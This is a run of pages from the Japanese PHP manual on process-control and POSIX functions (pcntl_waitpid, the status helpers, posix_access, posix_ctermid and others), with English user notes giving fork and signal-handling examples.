Using pcntl_fork() can be a little tricky in some situations.  For fast jobs, a child can finish processing before the parent process has executed some code related to the launching of the process.  The parent can receive a signal before it's ready to handle the child process' status.  To handle this scenario, I add an id to a "queue" of processes in the signal handler that need to be cleaned up if the parent process is not yet ready to handle them.

<?php
declare(ticks=1);
//A very basic job daemon that you can extend to your needs.
class JobDaemon{

    public $maxProcesses = 25;
    protected $jobsStarted = 0;
    protected $currentJobs = array();
    protected $signalQueue=array();
    protected $parentPID;

    public function __construct(){
        echo "constructed \n";
        $this->parentPID = getmypid();
        pcntl_signal(SIGCHLD, array($this, "childSignalHandler"));
    }

    /**
    * Run the Daemon
    */
    public function run(){
        echo "Running \n";
        for($i=0; $i<10000; $i++){
            $jobID = rand(0,10000000000000);
            $launched = $this->launchJob($jobID);
        }

        //Wait for child processes to finish before exiting here
        while(count($this->currentJobs)){
            echo "Waiting for current jobs to finish... \n";
            sleep(1);
        }
    }

    /**
    * Launch a job from the job queue
    */
    protected function launchJob($jobID){
        $pid = pcntl_fork();
        if($pid == -1){
            //Problem launching the job
            error_log('Could not launch new job, exiting');
            return false;
        }
        else if ($pid){
            // Parent process
            // Sometimes you can receive a signal to the childSignalHandler function before this code executes if
            // the child script executes quickly enough!
            //
            $this->currentJobs[$pid] = $jobID;

            // In the event that a signal for this pid was caught before we get here, it will be in our signalQueue array
            // So let's go ahead and process it now as if we'd just received the signal
            if(isset($this->signalQueue[$pid])){
                echo "found $pid in the signal queue, processing it now \n";
                $this->childSignalHandler(SIGCHLD, $pid, $this->signalQueue[$pid]);
                unset($this->signalQueue[$pid]);
            }
        }
        else{
            //Forked child, do your deeds....
            $exitStatus = 0; //Error code if you need to or whatever
            echo "Doing something fun in pid ".getmypid()."\n";
            exit($exitStatus);
        }
        return true;
    }

    public function childSignalHandler($signo, $pid=null, $status=null){

        //If no pid is provided, that means we're getting the signal from the system.  Let's figure out
        //which child process ended
        if(!$pid){
            $pid = pcntl_waitpid(-1, $status, WNOHANG);
        }

        //Make sure we get all of the exited children
        while($pid > 0){
            if($pid && isset($this->currentJobs[$pid])){
                $exitCode = pcntl_wexitstatus($status);
                if($exitCode != 0){
                    echo "$pid exited with status ".$exitCode."\n";
                }
                unset($this->currentJobs[$pid]);
            }
            else if($pid){
                //Oh no, our job has finished before this parent process could even note that it had been launched!
                //Let's make note of it and handle it when the parent process is ready for it
                echo "..... Adding $pid to the signal queue ..... \n";
                $this->signalQueue[$pid] = $status;
            }
            $pid = pcntl_waitpid(-1, $status, WNOHANG);
        }
        return true;
    }
}
digitalaudiorock at gmail dot com 21-Jun-2010 02:44
I was unable to get pcntl_wait or pcntl_waitpid to terminate when I had an active signal handler.  I then noticed the post below from gaylord at 100days dot de, however I'm a little confused by that post as I found the exact opposite to be true.  The default value of the third parameter of pcntl_signal (the restart_syscalls parameter) is true and this seems to cause the wait to continue when the signal arrives.  In order to prevent this I had to expressly set it to false.  That is:

pcntl_signal(SIGTERM, 'my_handler_function', false);
gaylord at 100days dot de 16-Jun-2010 05:17
pcntl_wait will not terminate on signals if you have a PHP signal handler activated (pcntl_signal).
This is unless the signal handler was activated with 3rd parameter=true.

Example:
<?php
declare(ticks=1);
pcntl_signal(SIGTERM, "myHandler");
$pid=pcntl_wait($status);
?>

This will not terminate on SIGTERM sent to the process, because "wait" will be restarted after php recieves the signal. The signal handler "myHandler" will not be called unless pcntl_wait terminates for some other reason.

Change to:
<?php
declare(ticks=1);
pcntl_signal(SIGTERM, "myHandler", true);
$pid=pcntl_wait($status);
?>

Now the pcntl_wait terminates when a signal comes in and "myHandler" will be called on SIGTERM. (Make sure to put the wait in a loop though, because it will now not only terminate when a child exits but also when a signal arrives. Test for $pid>0 to detect a exit message from a child)
(thanks to Andrey for helping me debugging this)
thomas dot nicolai at unisg dot ch 24-Mar-2006 11:19
The code before isnt working for me cause the children are correctly started but not refreshed after they died. So keep in mind to use this instead and use the signal handler to know when a child exits to know when you have to start a new one. I added a few lines to the posting from {andy at cbeyond dot net} cause his post wasnt working for me as well (PHP5.1). Same effect like the one below.

<?php
declare(ticks = 1);

$max=5;
$child=0;

// function for signal handler
function sig_handler($signo) {
  global $child;
  switch ($signo) {
   case SIGCHLD:
     echo "SIGCHLD received\n";
     $child--;
  }
}

// install signal handler for dead kids
pcntl_signal(SIGCHLD, "sig_handler");

while (1){
       $child++;
       $pid=pcntl_fork();

       if ($pid == -1) {
               die("could not fork");
       } else if ($pid) {

               // we are the parent
               if ( $child >= $max ){
                   pcntl_wait($status);
                   $child++;
               }
       } else {
               // we are the child
               echo "\t Starting new child | now we de have $child child processes\n";
               // presumably doing something interesting
               sleep(rand(3,5));
               exit;
       }
}
?>
federico at nextware dot it 19-Feb-2006 04:39
This a simple multi process application where you can choose
the maximun process that can run at the same time.
This is useful when you need to limit the fork of process.
When the MAXPROCESS is reached the program wait on pcntl_wait()

<?php

DEFINE(MAXPROCESS,25);

for ($i=0;$i<100;$i++){
    $pid = pcntl_fork();

    if ($pid == -1) {
       die("could not fork");
    } elseif ($pid) {
                echo "I'm the Parent $i\n";
        $execute++;
        if ($execute>=MAXPROCESS){
            pcntl_wait($status);
            $execute--;
        }
    } else {
       echo "I am the child, $i pid = $pid \n";
       sleep(rand(1,3));
       echo "Bye Bye from $i\n";
       exit;
    }
}
?>
thisisroot at gmail dot com 19-Oct-2005 07:14
Below is a simple example of forking some children and timing the total duration (useful for stress tests).

<?php

$isParent    = true;
$children    = array();
$start        = microtime( true);

/* Fork you!
 * (Sorry, I had to)
 */
$ceiling = $CONCURRENCY - 1;

for ( $i = 0; (( $i < $ceiling) && ( $isParent)); $i++) {
    $pid = pcntl_fork();
    if ( $pid === 0) {
        $isParent = false;

    } elseif ( $pid != -1) {
        $children[] = $pid;

    }

}

/* Process body */
echo "Do stuff here\n";

/* Cleanup */
if ( $isParent) {
    $status = null;
    while ( count( $children)) {
        pcntl_wait( $status);
        array_pop( $children);
    }

    echo "Completed in " . ( microtime( true) - $start) . " seconds.\n";

}

?>


待つかフォークした子プロセスのステータスを返す

  • ≪ pcntl_wait
  • pcntl_wexitstatus ≫
  • PHP Manual
  • PCNTL 関数
  • 待つかフォークした子プロセスのステータスを返す

pcntl_waitpid

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

pcntl_waitpid — 待つかフォークした子プロセスのステータスを返す

説明

pcntl_waitpid ( int $pid , int &$status , int $options = 0 , array &$rusage = ? ) : int

引数 pid で指定した子プロセスが終了する・ 現在のプロセスを終了させるシグナルが送信される・シグナル処理関数を コールするシグナルが送信される のいずれかが発生するまで、現在のプロセスの実行を中断します。

pid でリクエストされた子プロセスが、 コール時に 既に終了している場合("ゾンビ"プロセスと呼ばれます)、この関数は 直ちに処理を返します。子プロセスにより使用される全てのシステム リソースは、解放されます。waitpid のシステムでの動作に関する詳細は、 システムの waitpid(2) についての man ページを参照ください。

パラメータ

pid

pid の値は、次のどれかとなります。

pid のとりうる値
< -1 | プロセスグループ ID が pid の絶対値に等しい 子プロセスを待ちます。
-1 | 全ての子プロセスを待ちます。これは、wait 関数の動作と同じです。
0 | プロセスグループ ID がコール側のプロセスと等しい子プロセスを 待ちます。
> 0 | プロセス ID が pid の値に等しい 子プロセスを待ちます。

注意:

-1 を pid に指定した際の動きは、 pcntl_wait() の機能と (options を除いて) 同じです。

status

pcntl_waitpid() は、パラメータ
status の中にステータス情報を保存します。
このステータスは、次の関数を用いて評価可能です。
pcntl_wifexited()、
pcntl_wifstopped()、
pcntl_wifsignaled()、
pcntl_wexitstatus()、
pcntl_wtermsig() および
pcntl_wstopsig() 。

options

options の値は、次の 2 つのグローバル定数の ゼロまたはそれ以上の論理和です。

options のとりうる値
WNOHANG | 子プロセスが終了していない場合に直ちに処理を返します。
WUNTRACED | 停止した子プロセスの場合に処理を返します。そして、ステータス は報告されません。

返り値

pcntl_waitpid() は、終了した子プロセスの プロセス ID を返します。エラーの場合は -1、WNOHANG が使用され、 子プロセスが利用できない場合に 0 を返します。

参考

  • pcntl_fork() - 現在実行中のプロセスをフォークする
  • pcntl_signal() - シグナルハンドラを設定する
  • pcntl_wifexited() - ステータスコードが正常終了を表しているかどうかを調べる
  • pcntl_wifstopped() - 子プロセスが現在停止しているかどうかを調べる
  • pcntl_wifsignaled() - ステータスコードがシグナルによる終了を表しているかどうかを調べる
  • pcntl_wexitstatus() - 終了した子プロセスのリターンコードを返す
  • pcntl_wtermsig() - 子プロセスを終了させたシグナルを返す
  • pcntl_wstopsig() - 子プロセスを停止させたシグナルを返す

User Contributed Notes

renmengyang567 at gmail dot com 07-Apr-2019 06:26
<?php

declare(ticks = 1);
function zp_handler($signal) {
    $id = pcntl_waitpid(-1, $status, WNOHANG);
    if (pcntl_wifexited($status))
    {
        printf("Removed Chlid id: %d \n",$id);
        printf("Chlid status: %d \n",pcntl_wexitstatus($status));
    }
}

//pcntl_signal_dispatch();
pcntl_signal(SIGCHLD, "zp_handler");
//pcntl_signal_dispatch();
//

$pid = pcntl_fork();
if ($pid == 0)
{
    print "#1 Hi, I'm child process".PHP_EOL;
    sleep(3);
    return 10;
}
else
{
    print "#1parent process id:".$pid.PHP_EOL;
    $pid = pcntl_fork();
    if ($pid == 0)
    {   print "#2 Hi, I'm child process".PHP_EOL;
        sleep(10);
        exit(20);
    }
    else
    {
        print "#2parent process id:".$pid.PHP_EOL;
        for ($i=0; $i <10 ; $i++) {
            print "wait..".PHP_EOL;
            sleep(10);
        }
    }
}
?>
fx4084 at gmail dot com 12-Sep-2014 07:53
<?php
$childs = array();

// Fork some process.
for($i = 0; $i < 10; $i++) {
    $pid = pcntl_fork();
    if($pid == -1)
        die('Could not fork');

    if ($pid) {
        echo "parent \n";
        $childs[] = $pid;
    } else {
        // Sleep $i+1 (s). The child process can get this parameters($i).
        sleep($i+1);

        // The child process needed to end the loop.
        exit();
    }
}

while(count($childs) > 0) {
    foreach($childs as $key => $pid) {
        $res = pcntl_waitpid($pid, $status, WNOHANG);

        // If the process has already exited
        if($res == -1 || $res > 0)
            unset($childs[$key]);
    }

    sleep(1);
}
?>
saguto dot l7cc at gmail dot com 09-Apr-2008 09:09
please note, if you using configure option --enable-sigchild(Enable PHP's own SIGCHLD handler) when complie php(under linux 2.6.18-53.1.13.el5.centos.plus and php 5.2.5 as I know), pcntl_waitpid and pcntl_wait in php script would never return the child pid, because the build in handle get it first.


終了した子プロセスのリターンコードを返す

  • ≪ pcntl_waitpid
  • pcntl_wifexited ≫
  • PHP Manual
  • PCNTL 関数
  • 終了した子プロセスのリターンコードを返す

pcntl_wexitstatus

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

pcntl_wexitstatus — 終了した子プロセスのリターンコードを返す

説明

pcntl_wexitstatus ( int $status ) : int

終了した子プロセスのリターンコードを返します。この関数は、 pcntl_wifexited() が true を返す場合のみ 有用です。

パラメータ

status

パラメータ status は、 pcntl_waitpid() が正常にコールされた際に得られます。

返り値

リターンコードを表す整数値を返します。

参考

  • pcntl_waitpid() - 待つかフォークした子プロセスのステータスを返す
  • pcntl_wifexited() - ステータスコードが正常終了を表しているかどうかを調べる

User Contributed Notes

There are no user contributed notes for this page.


ステータスコードが正常終了を表しているかどうかを調べる

  • ≪ pcntl_wexitstatus
  • pcntl_wifsignaled ≫
  • PHP Manual
  • PCNTL 関数
  • ステータスコードが正常終了を表しているかどうかを調べる

pcntl_wifexited

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

pcntl_wifexited — ステータスコードが正常終了を表しているかどうかを調べる

説明

pcntl_wifexited ( int $status ) : bool

ステータスコードが正常終了を表しているかどうかを調べます。

パラメータ

status

パラメータ status は、 pcntl_waitpid() が正常にコールされた際に得られます。

返り値

子プロセスのステータスコードが終了に成功した場合に true、 それ以外の場合に false を返します。

参考

  • pcntl_waitpid() - 待つかフォークした子プロセスのステータスを返す
  • pcntl_wexitstatus() - 終了した子プロセスのリターンコードを返す

User Contributed Notes

There are no user contributed notes for this page.


ステータスコードがシグナルによる終了を表しているかどうかを調べる

  • ≪ pcntl_wifexited
  • pcntl_wifstopped ≫
  • PHP Manual
  • PCNTL 関数
  • ステータスコードがシグナルによる終了を表しているかどうかを調べる

pcntl_wifsignaled

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

pcntl_wifsignaled — ステータスコードがシグナルによる終了を表しているかどうかを調べる

説明

pcntl_wifsignaled ( int $status ) : bool

子プロセスが終了した原因が、 シグナルが捕捉されなかったことであるかどうかを調べます。 caught.

パラメータ

status

パラメータ status は、 pcntl_waitpid() が正常にコールされた際に得られます。

返り値

捕捉されなかったシグナルのせいで子プロセスが終了した場合に true、 それ以外の場合に false を返します。

参考

  • pcntl_waitpid() - 待つかフォークした子プロセスのステータスを返す
  • pcntl_signal() - シグナルハンドラを設定する

User Contributed Notes

There are no user contributed notes for this page.


子プロセスが現在停止しているかどうかを調べる

  • ≪ pcntl_wifsignaled
  • pcntl_wstopsig ≫
  • PHP Manual
  • PCNTL 関数
  • 子プロセスが現在停止しているかどうかを調べる

pcntl_wifstopped

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

pcntl_wifstopped — 子プロセスが現在停止しているかどうかを調べる

説明

pcntl_wifstopped ( int $status ) : bool

リターンを生じた子プロセスが現在停止しているかどうかを調べます。 この関数は、pcntl_waitpid() のコールが オプション WUNTRACED を用いている場合のみ使用可能です。

パラメータ

status

パラメータ status は、 pcntl_waitpid() が正常にコールされた際に得られます。

返り値

リターンを生じた子プロセスが現在停止している場合に true、 それ以外の場合に false を返します。

参考

  • pcntl_waitpid() - 待つかフォークした子プロセスのステータスを返す

User Contributed Notes

There are no user contributed notes for this page.


子プロセスを停止させたシグナルを返す

  • ≪ pcntl_wifstopped
  • pcntl_wtermsig ≫
  • PHP Manual
  • PCNTL 関数
  • 子プロセスを停止させたシグナルを返す

pcntl_wstopsig

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

pcntl_wstopsig — 子プロセスを停止させたシグナルを返す

説明

pcntl_wstopsig ( int $status ) : int

子プロセスを停止させたシグナル番号を返します。この関数は、 pcntl_wifstopped() が true を返す場合のみ有用です。

パラメータ

status

パラメータ status は、 pcntl_waitpid() が正常にコールされた際に得られます。

返り値

シグナル番号を返します。

参考

  • pcntl_waitpid() - 待つかフォークした子プロセスのステータスを返す
  • pcntl_wifstopped() - 子プロセスが現在停止しているかどうかを調べる

User Contributed Notes

There are no user contributed notes for this page.


子プロセスを終了させたシグナルを返す

  • ≪ pcntl_wstopsig
  • POSIX ≫
  • PHP Manual
  • PCNTL 関数
  • 子プロセスを終了させたシグナルを返す

pcntl_wtermsig

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

pcntl_wtermsig — 子プロセスを終了させたシグナルを返す

説明

pcntl_wtermsig ( int $status ) : int

子プロセスを終了させたシグナル番号を返します。この関数は、 pcntl_wifsignaled() が true を返す場合のみ有用です。

パラメータ

status

パラメータ status は、 pcntl_waitpid() が正常にコールされた際に得られます。

返り値

シグナル番号を表す整数値を返します。

参考

  • pcntl_waitpid() - 待つかフォークした子プロセスのステータスを返す
  • pcntl_signal() - シグナルハンドラを設定する
  • pcntl_wifsignaled() - ステータスコードがシグナルによる終了を表しているかどうかを調べる

User Contributed Notes

There are no user contributed notes for this page.


POSIX

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
    • リソース型
  • 定義済み定数
    • posix_access 定数
    • posix_mknod 定数
    • posix_setrlimit 定数
  • POSIX 関数
    • posix_access — ファイルのアクセス権限を判断する
    • posix_ctermid — 制御する端末のパス名を得る
    • posix_errno — posix_get_last_error のエイリアス
    • posix_get_last_error — 直近で失敗した posix 関数が設定したエラー番号を取得する
    • posix_getcwd — 現在のディレクトリのパス名
    • posix_getegid — 現在のプロセスの有効なグループ ID を返す
    • posix_geteuid — 現在のプロセスの有効なユーザー ID を返す
    • posix_getgid — 現在のプロセスの実際のグループ ID を返す
    • posix_getgrgid — 指定したグループ ID を有するグループに関する情報を返す
    • posix_getgrnam — 指定した名前のグループに関する情報を返す
    • posix_getgroups — 現在のプロセスのグループセットを返す
    • posix_getlogin — ログイン名を返す
    • posix_getpgid — ジョブ制御のプロセスグループ ID を得る
    • posix_getpgrp — 現在のプロセスのグループ ID を返す
    • posix_getpid — 現在のプロセス ID を返す
    • posix_getppid — 親プロセスの ID を返す
    • posix_getpwnam — 指定した名前のユーザーに関する情報を返す
    • posix_getpwuid — 指定 ID のユーザーに関する情報を返す
    • posix_getrlimit — システムリソース制限に関する情報を返す
    • posix_getsid — プロセスの現在の sid を得る
    • posix_getuid — 現在のプロセスの実際のユーザー ID を返す
    • posix_initgroups — グループアクセスリストを求める
    • posix_isatty — ファイル記述子が対話型端末であるかどうかを定義する
    • posix_kill — プロセスにシグナルを送信する
    • posix_mkfifo — fifo スペシャルファイル(名前付きパイプ)を作成する
    • posix_mknod — スペシャルファイルあるいは通常のファイルを作成する (POSIX.1)
    • posix_setegid — 現在のプロセスの実効 GID を設定する
    • posix_seteuid — 現在のプロセスの実効 UID を設定する
    • posix_setgid — 現在のプロセスの GID を設定する
    • posix_setpgid — ジョブ制御のプロセスグループ ID を設定する
    • posix_setrlimit — システムリソース制限を設定
    • posix_setsid — 現在のプロセスをセッションリーダーにする
    • posix_setuid — 現在のプロセスの UID を設定する
    • posix_strerror — 指定したエラー番号に対応するシステムのエラーメッセージを取得する
    • posix_times — プロセス時間を得る
    • posix_ttyname — 端末のデバイス名を調べる
    • posix_uname — システム名を得る

User Contributed Notes

docvert at holloway dot co dot nz 16-Jun-2008 05:45
I suggest changing the description of posix_times() from "Get process times" to "Get current process times" in order to follow the "current process" naming convention of the other functions.


はじめに

このモジュールは、IEEE 10003.1 (POSIX.1) 標準ドキュメントで 定義された関数へのインターフェイスを有しています。 これらの関数は、他の手段からは利用できません。

警告

posix_getpwnam() のような POSIX 関数は、重要な データを取得することができます。

注意: この拡張モジュールは Windows 環境では利用できません。

User Contributed Notes

There are no user contributed notes for this page.


インストール手順

POSIX 関数は、デフォルトで有効となっています。POSIX 互換関数を --disable-posix により無効にする ことができます。

User Contributed Notes

There are no user contributed notes for this page.


定義済み定数

目次

  • posix_access 定数
  • posix_mknod 定数
  • posix_setrlimit 定数

以下の定数が定義されています。 この関数の拡張モジュールが PHP 組み込みでコンパイルされているか、 実行時に動的にロードされている場合のみ使用可能です。

User Contributed Notes

There are no user contributed notes for this page.


posix_access 定数

  • ≪ 定義済み定数
  • posix_mknod 定数 ≫
  • PHP Manual
  • 定義済み定数
  • posix_access 定数

posix_access() 定数

注意:

これらの定数は PHP 5.1.0 以降で有効です。システムによっては これらのうちのいくつかが使用できない場合があることにも注意してください。

POSIX_F_OK (int)
ファイルが存在するかどうかを調べます。
POSIX_R_OK (int)
ファイルが存在し、読み込みが許可されているかどうかを調べます。
POSIX_W_OK (int)
ファイルが存在し、書き込みが許可されているかどうかを調べます。
POSIX_X_OK (int)
ファイルが存在し、実行が許可されているかどうかを調べます。

User Contributed Notes

There are no user contributed notes for this page.


posix_mknod 定数

  • ≪ posix_access 定数
  • posix_setrlimit 定数 ≫
  • PHP Manual
  • 定義済み定数
  • posix_mknod 定数

posix_mknod() 定数

注意:

これらの定数は PHP 5.1.0 以降で有効です。システムによっては これらのうちのいくつかが使用できない場合があることにも注意してください。

POSIX_S_IFBLK (int)
ブロックスペシャルファイル。
POSIX_S_IFCHR (int)
キャラクタスペシャルファイル。
POSIX_S_IFIFO (int)
FIFO (名前つきパイプ) スペシャルファイル。
POSIX_S_IFREG (int)
通常のファイル。
POSIX_S_IFSOCK (int)
ソケット。

User Contributed Notes

There are no user contributed notes for this page.


posix_setrlimit 定数

  • ≪ posix_mknod 定数
  • POSIX 関数 ≫
  • PHP Manual
  • 定義済み定数
  • posix_setrlimit 定数

posix_setrlimit() 定数

注意:

これらの定数は PHP 7.0.0 以降で有効です。システムによっては これらのうちのいくつかが使用できない場合があることにも注意してください。

注意:

以下の一覧とともに、特定のオペレーションシステムの setrlimit() のマニュアルページを読みたくなるかもしれません。 なぜなら、POSIX を完全に実装していると主張するオペレーティングシステム間でも、 これらの値をどう解釈するかはばらつきがあるからです。

POSIX_RLIMIT_AS (int)
プロセスのアドレススペースの最大値をバイト単位で指定します。 PHP の memory_limit 設定ディレクティブも参照してください。
POSIX_RLIMIT_CORE (int)
core ファイルの最大サイズ。 0 に設定すると、core ファイルは生成されません。
POSIX_RLIMIT_CPU (int)
プロセスが使えるCPU時間の上限を秒単位で指定します。 プロセスがソフトリミットに達した場合、SIGXCPU シグナルが送られます。 これは pcntl_signal() でキャッチできます。 オペレーティングシステムによっては、 追加の SIGXCPU シグナルをハードリミットに達する まで1秒ごとに送り、ハードリミットに達すると SIGKILL シグナルを送るかもしれません。 See also set_time_limit().
POSIX_RLIMIT_DATA (int)
プロセスのデータセグメントの最大値をバイト単位で指定します。 brk() や sbrk() を呼ぶ拡張機能でもない限り、 この設定がPHPの実行に影響を及ぼす可能性は極めて小さいです。
POSIX_RLIMIT_FSIZE (int)
プロセスが作成できるファイルサイズの最大値をバイト単位で指定します。
POSIX_RLIMIT_LOCKS (int)
プロセスが作ることができるロック数の最大数。 これは極めて古い Linux kernel でのみサポートされています。
POSIX_RLIMIT_MEMLOCK (int)
The maximum number of bytes that can be locked into memory. メモリ内にロックできるメモリの最大バイト数。
POSIX_RLIMIT_MSGQUEUE (int)
POSIX メッセージキューのために確保できるバイト数の制限を指定する。 PHP は POSIX メッセージキューをサポートしていないので、 このリミットは POSIX メッセージキューをサポートした拡張機能を使っていない限り効果がありません。
POSIX_RLIMIT_NICE (int)
プロセスが 設定できるnice値 の上限を指定します。 リソース制限値として負の数を指定できないため、20 - limit という値が実際に使われます。
POSIX_RLIMIT_NOFILE (int)
このプロセスがオープンできるファイルディスクリプター数の最大値より1大きい値を指定します。
POSIX_RLIMIT_NPROC (int)
プロセスの実ユーザーIDで作成できる最大プロセス数(オペレーティングシステムによってはスレッド数)
POSIX_RLIMIT_RSS (int)
プロセスの resident set の最大値をページ数単位で指定します。
POSIX_RLIMIT_RTPRIO (int)
sched_setscheduler() や sched_setparam() システムコール経由で 設定できる、リアルタイム優先度の最大値
POSIX_RLIMIT_RTTIME (int)
リアルタイムスケジューリングを採用している場合に スケジューリングされるプロセスが、 ブロッキング型のシステムコールを呼び出さずに消費できる CPU時間の最大値をマイクロ秒単位で指定します。
POSIX_RLIMIT_SIGPENDING (int)
プロセスの実ユーザーID に対して、 キューに入れられるシグナルの数の最大値
POSIX_RLIMIT_STACK (int)
プロセススタックの最大サイズをバイト単位で指定します。
POSIX_RLIMIT_INFINITY (int)
リソースリミットが無限であることを示すのに使われます。

User Contributed Notes

There are no user contributed notes for this page.


POSIX 関数

参考

プロセス制御関数に関する節も 役に立つでしょう。

目次

  • posix_access — ファイルのアクセス権限を判断する
  • posix_ctermid — 制御する端末のパス名を得る
  • posix_errno — posix_get_last_error のエイリアス
  • posix_get_last_error — 直近で失敗した posix 関数が設定したエラー番号を取得する
  • posix_getcwd — 現在のディレクトリのパス名
  • posix_getegid — 現在のプロセスの有効なグループ ID を返す
  • posix_geteuid — 現在のプロセスの有効なユーザー ID を返す
  • posix_getgid — 現在のプロセスの実際のグループ ID を返す
  • posix_getgrgid — 指定したグループ ID を有するグループに関する情報を返す
  • posix_getgrnam — 指定した名前のグループに関する情報を返す
  • posix_getgroups — 現在のプロセスのグループセットを返す
  • posix_getlogin — ログイン名を返す
  • posix_getpgid — ジョブ制御のプロセスグループ ID を得る
  • posix_getpgrp — 現在のプロセスのグループ ID を返す
  • posix_getpid — 現在のプロセス ID を返す
  • posix_getppid — 親プロセスの ID を返す
  • posix_getpwnam — 指定した名前のユーザーに関する情報を返す
  • posix_getpwuid — 指定 ID のユーザーに関する情報を返す
  • posix_getrlimit — システムリソース制限に関する情報を返す
  • posix_getsid — プロセスの現在の sid を得る
  • posix_getuid — 現在のプロセスの実際のユーザー ID を返す
  • posix_initgroups — グループアクセスリストを求める
  • posix_isatty — ファイル記述子が対話型端末であるかどうかを定義する
  • posix_kill — プロセスにシグナルを送信する
  • posix_mkfifo — fifo スペシャルファイル(名前付きパイプ)を作成する
  • posix_mknod — スペシャルファイルあるいは通常のファイルを作成する (POSIX.1)
  • posix_setegid — 現在のプロセスの実効 GID を設定する
  • posix_seteuid — 現在のプロセスの実効 UID を設定する
  • posix_setgid — 現在のプロセスの GID を設定する
  • posix_setpgid — ジョブ制御のプロセスグループ ID を設定する
  • posix_setrlimit — システムリソース制限を設定
  • posix_setsid — 現在のプロセスをセッションリーダーにする
  • posix_setuid — 現在のプロセスの UID を設定する
  • posix_strerror — 指定したエラー番号に対応するシステムのエラーメッセージを取得する
  • posix_times — プロセス時間を得る
  • posix_ttyname — 端末のデバイス名を調べる
  • posix_uname — システム名を得る

User Contributed Notes

random832 at fastmail dot fm 13-Jun-2007 09:04
That is not part of POSIX, those are only present as you listed on linux systems - some other systems have a /proc with different things in it (sometimes stuff that's symbolic links on linux will be hardlinks, textfiles on linux will be binary, or different files with different information) or none at all
roberto at spadim dot com dot br 02-Oct-2006 09:36
don't forget that in posix systems you can use /proc/$process_id/
files:
auxv
cmdline
cwd
environ
exe
fd
maps
mem
mounts
root
stat
statm
status
task
wchan

with it you can make somethings like:

$PPID=getmypid();
$pid=pcntl_fork();
if ($pid==0){
while(1){
if (strpos(file_get_contents("/proc/$PPID/cmdline"),'php')===false) echo "parent pid die";
}

}else{
// forked
}

with this you can use some libs that block signal or some bad signal handling or zombies process or anything you can think :)


ファイルのアクセス権限を判断する

  • ≪ POSIX 関数
  • posix_ctermid ≫
  • PHP Manual
  • POSIX 関数
  • ファイルのアクセス権限を判断する

posix_access

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

posix_access — ファイルのアクセス権限を判断する

説明

posix_access ( string $filename , int $flags = 0 ) : bool

posix_access() は、ファイルに対するユーザーの アクセス権限を調べます。

パラメータ

filename

調べるファイルの名前。

flags

POSIX_F_OK、POSIX_R_OK、 POSIX_W_OK および POSIX_X_OK のうちのひとつあるいは複数からなるマスク。

POSIX_R_OK、POSIX_W_OK および POSIX_X_OK は、ファイルが存在して読み込み/書き込み/ 実行の権限があるかどうかを調べます。 POSIX_F_OK は単にファイルが存在するかどうか だけを調べます。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 posix_access() の例

この例は $file が読み書き可能であるかどうかを調べ、 そうでない場合にエラーメッセージを表示します。

<?php

$file = 'some_file';

if (posix_access($file, POSIX_R_OK | POSIX_W_OK)) {
    echo 'このファイルの読み込みと書き込みが可能です!';

} else {
    $error = posix_get_last_error();

    echo "エラー $error: " . posix_strerror($error);
}

?>

注意

参考

  • posix_get_last_error() - 直近で失敗した posix 関数が設定したエラー番号を取得する
  • posix_strerror() - 指定したエラー番号に対応するシステムのエラーメッセージを取得する

User Contributed Notes

unixguy at earth dot com 12-Jun-2014 08:00
It should be noted that this function performs access checks based on the real UID and real GID of the process running PHP.  These aren't necessarily the same as the effective UID and GID.

In other words, it may well be that access() returns "true" for a particular permission, but an fopen() operation which requires the same permission will fail, and vice versa.

Keep that in mind if you use access() for such checks.


制御する端末のパス名を得る

  • ≪ posix_access
  • posix_errno ≫
  • PHP Manual
  • POSIX 関数
  • 制御する端末のパス名を得る

posix_ctermid

(PHP 4, PHP 5, PHP 7, PHP 8)

posix_ctermid — 制御する端末のパス名を得る

説明

posix_ctermid ( ) : string|false

そのプロセスで現在制御している端末のパス名を表す文字列を作成します。 エラーが発生した場合は errno を設定します。この値を調べるには posix_get_last_error() を使用します。

返り値

処理に成功した場合は、現在制御している端末のパス名を表す文字列を返します。 それ以外の場合は false を返し、errno を設定します。 この値を調べるには posix_get_last_error() を使用します。

例

例1 posix_ctermid() の例

この例は、現在の TTY へのパスを表示します。

<?php
echo "I am running from ".posix_ctermid();
?>

参考

  • posix_ttyname() - 端末のデバイス名を調べる
  • posix_get_last_error() - 直近で失敗した posix 関数が設定したエラー番号を取得する

User Contributed Notes

phpmanual at remove dot mark dot griffin dot email 19-Apr-2016 09:18
You can write directly to the tty (screen) even when the shell has redirected output, with:

<?php
$h = fopen(posix_ctermid(), "rb+");
fwrite($h, "Testing direct output\n");
fclose($h);
?>


posix_get_last_error のエイリアス

  • ≪ posix_ctermid
  • posix_get_last_error ≫
  • PHP Manual
  • POSIX 関数
  • posix_get_last_error のエイリアス

posix_errno

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

posix_errno — posix_get_last_error() のエイリアス

説明

この関数は次の関数のエイリアスです。 posix_get_last_error().

User Contributed Notes

There are no user contributed notes for this page.


直近で失敗した posix 関数が設定したエラー番号を取得する

  • ≪ posix_errno
  • posix_getcwd ≫
  • PHP Manual
  • POSIX 関数
  • 直近で失敗した posix 関数が設定したエラー番号を取得する

posix_get_last_error

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

posix_get_last_error — 直近で失敗した posix 関数が設定したエラー番号を取得する

説明

posix_get_last_error ( ) : int

直近で失敗した posix 関数が設定したエラー番号を取得します。 エラー番号に対応するエラーメッセージを取得するには posix_strerror() を使用します。

返り値

直近で失敗した posix 関数が設定した errno (エラー番号) を返します。 エラーが発生していない場合は 0 が返されます。

例

例1 posix_get_last_error() の例

この例では、存在しないプロセス ID のプロセスを殺そうとしています。 その結果として発生したエラーの番号を表示します。

<?php
posix_kill(999459,SIGKILL);
echo 'エラーが返されました。エラー番号: '.posix_get_last_error(); //Your error was ___
?>

参考

  • posix_strerror() - 指定したエラー番号に対応するシステムのエラーメッセージを取得する

User Contributed Notes

anajilly at gmail dot com 19-Jan-2014 10:20
